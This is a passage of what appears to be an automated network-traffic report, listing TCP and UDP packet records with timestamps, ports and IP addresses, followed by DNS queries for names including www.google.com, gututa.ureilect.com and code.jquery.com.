Apr 25, 2024 00:49:30.170289040 CEST	49730	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:30.170412064 CEST	49730	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:30.170417070 CEST	443	49730	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:30.170542002 CEST	443	49730	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:30.217596054 CEST	49730	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:30.364679098 CEST	443	49729	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.365017891 CEST	443	49729	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.365099907 CEST	49729	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.365508080 CEST	49729	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.365545988 CEST	443	49729	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.417249918 CEST	443	49730	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:30.417454004 CEST	443	49730	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:30.417531013 CEST	49730	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:30.417606115 CEST	49730	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:30.417620897 CEST	443	49730	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:30.417632103 CEST	49730	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:30.417670965 CEST	49730	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:30.503067017 CEST	49732	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.503149033 CEST	443	49732	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.503247976 CEST	49732	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.503443956 CEST	49732	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.503478050 CEST	443	49732	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.549690962 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 25, 2024 00:49:30.738500118 CEST	443	49732	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.739140987 CEST	49732	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.739186049 CEST	443	49732	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.740432978 CEST	443	49732	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.741050005 CEST	49732	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.741174936 CEST	49732	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.741185904 CEST	443	49732	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.741291046 CEST	443	49732	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.787630081 CEST	49732	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.018724918 CEST	443	49732	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.018824100 CEST	443	49732	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.018937111 CEST	49732	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.019376993 CEST	49732	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.019413948 CEST	443	49732	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.021738052 CEST	49733	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.021790028 CEST	443	49733	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.021886110 CEST	49733	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.022133112 CEST	49733	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.022149086 CEST	443	49733	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.250307083 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.250363111 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.250483990 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.250710964 CEST	443	49733	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.250719070 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.250742912 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.250986099 CEST	49733	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.251020908 CEST	443	49733	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.252033949 CEST	443	49733	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.252332926 CEST	49733	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.252418041 CEST	443	49733	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.252433062 CEST	49733	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.298615932 CEST	49733	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.298643112 CEST	443	49733	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.481937885 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.482232094 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.482268095 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.483478069 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.483768940 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.483906031 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.483916998 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.483957052 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.483985901 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.484054089 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.506673098 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.506742954 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.522631884 CEST	443	49733	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.522809982 CEST	443	49733	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.522876978 CEST	49733	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.523544073 CEST	49733	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.523561001 CEST	443	49733	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.743995905 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.744174957 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.744257927 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.744308949 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.744338989 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.744368076 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.744388103 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.744518042 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.744575024 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.744590044 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.744672060 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.744714975 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.744723082 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.745228052 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.745285988 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.745295048 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.745549917 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.745615005 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.745620966 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.745959044 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.746028900 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.746035099 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.746170044 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.746216059 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.746222019 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.746309996 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.746361017 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.746366978 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.746434927 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.746480942 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.746486902 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.746633053 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.746689081 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.746704102 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.747064114 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.747188091 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.747196913 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.747541904 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.747606039 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.747713089 CEST	49734	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.747730970 CEST	443	49734	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.750085115 CEST	49735	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.750128984 CEST	443	49735	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.750228882 CEST	49735	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.750428915 CEST	49735	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.750436068 CEST	443	49735	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.982335091 CEST	443	49735	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.982665062 CEST	49735	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.982682943 CEST	443	49735	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.983846903 CEST	443	49735	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:31.984118938 CEST	49735	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.984236002 CEST	49735	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:31.984285116 CEST	443	49735	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:32.033622980 CEST	49735	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:32.254225016 CEST	443	49735	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:32.254333973 CEST	443	49735	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:32.254395962 CEST	49735	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:32.255151033 CEST	49735	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:32.255168915 CEST	443	49735	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:32.312726021 CEST	49736	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.312796116 CEST	443	49736	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:32.312896967 CEST	49736	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.314608097 CEST	49736	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.314629078 CEST	443	49736	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:32.546307087 CEST	443	49736	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:32.546392918 CEST	49736	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.549510956 CEST	49736	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.549523115 CEST	443	49736	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:32.549953938 CEST	443	49736	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:32.593612909 CEST	49736	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.596370935 CEST	49736	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.640141010 CEST	443	49736	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:32.768826008 CEST	443	49736	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:32.768986940 CEST	443	49736	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:32.769015074 CEST	49736	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.769062996 CEST	443	49736	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:32.769084930 CEST	49736	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.769084930 CEST	49736	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.769095898 CEST	443	49736	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:32.769105911 CEST	443	49736	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:32.803775072 CEST	49737	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.803841114 CEST	443	49737	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:32.803930998 CEST	49737	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.804184914 CEST	49737	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:32.804203987 CEST	443	49737	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:33.029423952 CEST	443	49737	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:33.029566050 CEST	49737	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:33.030580044 CEST	49737	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:33.030592918 CEST	443	49737	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:33.030937910 CEST	443	49737	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:33.031945944 CEST	49737	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:33.076126099 CEST	443	49737	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:33.286345005 CEST	443	49737	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:33.286422014 CEST	443	49737	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:33.286643028 CEST	49737	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:33.287341118 CEST	49737	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:33.287342072 CEST	49737	443	192.168.2.16	23.207.53.201
Apr 25, 2024 00:49:33.287389040 CEST	443	49737	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:33.287415981 CEST	443	49737	23.207.53.201	192.168.2.16
Apr 25, 2024 00:49:34.183124065 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.183182001 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.183279037 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.183998108 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 00:49:34.184989929 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.185019970 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.485673904 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 00:49:34.608156919 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.608251095 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.610795021 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.610811949 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.611146927 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.661614895 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.669406891 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.716129065 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.993516922 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.993581057 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.993602037 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.993642092 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.993648052 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.993674040 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.993686914 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.993702888 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.993702888 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.993719101 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.993737936 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.993819952 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.993880033 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:34.993887901 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.994046926 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:34.994122982 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:35.004952908 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:35.004988909 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:35.005002975 CEST	49738	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:49:35.005009890 CEST	443	49738	13.85.23.86	192.168.2.16
Apr 25, 2024 00:49:35.090847969 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 00:49:35.361681938 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 25, 2024 00:49:36.303646088 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 00:49:37.834245920 CEST	443	49719	74.125.136.106	192.168.2.16
Apr 25, 2024 00:49:37.834317923 CEST	443	49719	74.125.136.106	192.168.2.16
Apr 25, 2024 00:49:37.834505081 CEST	49719	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:49:38.648751974 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 00:49:38.712606907 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 00:49:38.951623917 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 00:49:38.953279972 CEST	49719	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:49:38.953367949 CEST	443	49719	74.125.136.106	192.168.2.16
Apr 25, 2024 00:49:39.558617115 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 00:49:40.775523901 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 00:49:43.182627916 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 00:49:43.518644094 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 00:49:44.971828938 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 25, 2024 00:49:47.990643978 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 00:49:53.121608973 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 25, 2024 00:49:57.590682983 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 25, 2024 00:50:10.684756041 CEST	49698	80	192.168.2.16	23.40.205.49
Apr 25, 2024 00:50:10.684861898 CEST	49699	80	192.168.2.16	23.40.205.49
Apr 25, 2024 00:50:10.794980049 CEST	80	49698	23.40.205.49	192.168.2.16
Apr 25, 2024 00:50:10.795099020 CEST	49698	80	192.168.2.16	23.40.205.49
Apr 25, 2024 00:50:10.795322895 CEST	80	49699	23.40.205.49	192.168.2.16
Apr 25, 2024 00:50:10.795377016 CEST	49699	80	192.168.2.16	23.40.205.49
Apr 25, 2024 00:50:11.532310009 CEST	49739	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:50:11.532354116 CEST	443	49739	13.85.23.86	192.168.2.16
Apr 25, 2024 00:50:11.532536983 CEST	49739	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:50:11.532902956 CEST	49739	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:50:11.532917976 CEST	443	49739	13.85.23.86	192.168.2.16
Apr 25, 2024 00:50:11.952560902 CEST	443	49739	13.85.23.86	192.168.2.16
Apr 25, 2024 00:50:11.952688932 CEST	49739	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:50:11.954468012 CEST	49739	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:50:11.954479933 CEST	443	49739	13.85.23.86	192.168.2.16
Apr 25, 2024 00:50:11.954821110 CEST	443	49739	13.85.23.86	192.168.2.16
Apr 25, 2024 00:50:11.956662893 CEST	49739	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:50:12.004137039 CEST	443	49739	13.85.23.86	192.168.2.16
Apr 25, 2024 00:50:12.340869904 CEST	443	49739	13.85.23.86	192.168.2.16
Apr 25, 2024 00:50:12.340903044 CEST	443	49739	13.85.23.86	192.168.2.16
Apr 25, 2024 00:50:12.340920925 CEST	443	49739	13.85.23.86	192.168.2.16
Apr 25, 2024 00:50:12.341073036 CEST	49739	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:50:12.341101885 CEST	443	49739	13.85.23.86	192.168.2.16
Apr 25, 2024 00:50:12.341193914 CEST	49739	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:50:12.344393969 CEST	49739	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:50:12.344408035 CEST	443	49739	13.85.23.86	192.168.2.16
Apr 25, 2024 00:50:12.344420910 CEST	49739	443	192.168.2.16	13.85.23.86
Apr 25, 2024 00:50:12.344424963 CEST	443	49739	13.85.23.86	192.168.2.16
Apr 25, 2024 00:50:27.587605953 CEST	49741	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:50:27.587681055 CEST	443	49741	74.125.136.106	192.168.2.16
Apr 25, 2024 00:50:27.587877035 CEST	49741	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:50:27.588135958 CEST	49741	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:50:27.588169098 CEST	443	49741	74.125.136.106	192.168.2.16
Apr 25, 2024 00:50:27.820724010 CEST	443	49741	74.125.136.106	192.168.2.16
Apr 25, 2024 00:50:27.821090937 CEST	49741	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:50:27.821150064 CEST	443	49741	74.125.136.106	192.168.2.16
Apr 25, 2024 00:50:27.822882891 CEST	443	49741	74.125.136.106	192.168.2.16
Apr 25, 2024 00:50:27.823231936 CEST	49741	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:50:27.823434114 CEST	443	49741	74.125.136.106	192.168.2.16
Apr 25, 2024 00:50:27.874690056 CEST	49741	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:50:29.058747053 CEST	49688	443	192.168.2.16	13.107.21.200
Apr 25, 2024 00:50:37.838573933 CEST	443	49741	74.125.136.106	192.168.2.16
Apr 25, 2024 00:50:37.838745117 CEST	443	49741	74.125.136.106	192.168.2.16
Apr 25, 2024 00:50:37.838805914 CEST	49741	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:50:38.962137938 CEST	49741	443	192.168.2.16	74.125.136.106
Apr 25, 2024 00:50:38.962168932 CEST	443	49741	74.125.136.106	192.168.2.16
Apr 25, 2024 00:51:02.309828997 CEST	49701	80	192.168.2.16	192.229.211.108
Apr 25, 2024 00:51:02.419146061 CEST	80	49701	192.229.211.108	192.168.2.16
Apr 25, 2024 00:51:02.419312000 CEST	49701	80	192.168.2.16	192.229.211.108

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 00:49:22.691627979 CEST	63339	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:22.691838980 CEST	49688	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:22.794599056 CEST	53	65191	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:22.802093029 CEST	53	63339	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:22.807828903 CEST	53	49688	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:22.818649054 CEST	53	50779	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:23.301052094 CEST	62532	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:23.301222086 CEST	49302	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:23.410929918 CEST	53	62532	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:23.411180973 CEST	53	49302	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:23.434880018 CEST	53	54949	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:24.066922903 CEST	53	57907	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:24.860982895 CEST	54883	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:24.861227036 CEST	56010	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:25.014524937 CEST	53	56010	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:25.039485931 CEST	53	54883	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:25.934741020 CEST	60268	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:25.935056925 CEST	50404	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:25.935743093 CEST	51498	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:25.935884953 CEST	51950	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:26.047115088 CEST	53	60268	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:26.047224998 CEST	53	50404	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:26.048564911 CEST	53	51498	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:26.048930883 CEST	53	51950	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:27.087198019 CEST	51306	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:27.087479115 CEST	62874	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:27.197138071 CEST	53	51306	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:27.197434902 CEST	53	62874	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:28.347106934 CEST	61874	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:28.347223043 CEST	55806	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:28.457932949 CEST	53	55806	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:28.458085060 CEST	53	61874	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:29.347851038 CEST	58429	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:29.347969055 CEST	55931	53	192.168.2.16	1.1.1.1
Apr 25, 2024 00:49:29.457842112 CEST	53	58429	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:29.458282948 CEST	53	55931	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:40.390106916 CEST	53	55513	1.1.1.1	192.168.2.16
Apr 25, 2024 00:49:59.141160965 CEST	53	53078	1.1.1.1	192.168.2.16
Apr 25, 2024 00:50:22.053992033 CEST	53	50692	1.1.1.1	192.168.2.16
Apr 25, 2024 00:50:22.792368889 CEST	53	64923	1.1.1.1	192.168.2.16
Apr 25, 2024 00:50:30.350430965 CEST	138	138	192.168.2.16	192.168.2.255
Apr 25, 2024 00:50:50.920857906 CEST	53	51411	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 25, 2024 00:49:22.691627979 CEST	192.168.2.16	1.1.1.1	0xac42	Standard query (0)	www.google.com.np	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:22.691838980 CEST	192.168.2.16	1.1.1.1	0x38ba	Standard query (0)	www.google.com.np	65	IN (0x0001)	false
Apr 25, 2024 00:49:23.301052094 CEST	192.168.2.16	1.1.1.1	0x1395	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:23.301222086 CEST	192.168.2.16	1.1.1.1	0x3c73	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 25, 2024 00:49:24.860982895 CEST	192.168.2.16	1.1.1.1	0x856f	Standard query (0)	gututa.ureilect.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:24.861227036 CEST	192.168.2.16	1.1.1.1	0xc8b3	Standard query (0)	gututa.ureilect.com	65	IN (0x0001)	false
Apr 25, 2024 00:49:25.934741020 CEST	192.168.2.16	1.1.1.1	0xc686	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 00:49:25.935056925 CEST	192.168.2.16	1.1.1.1	0xced0	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
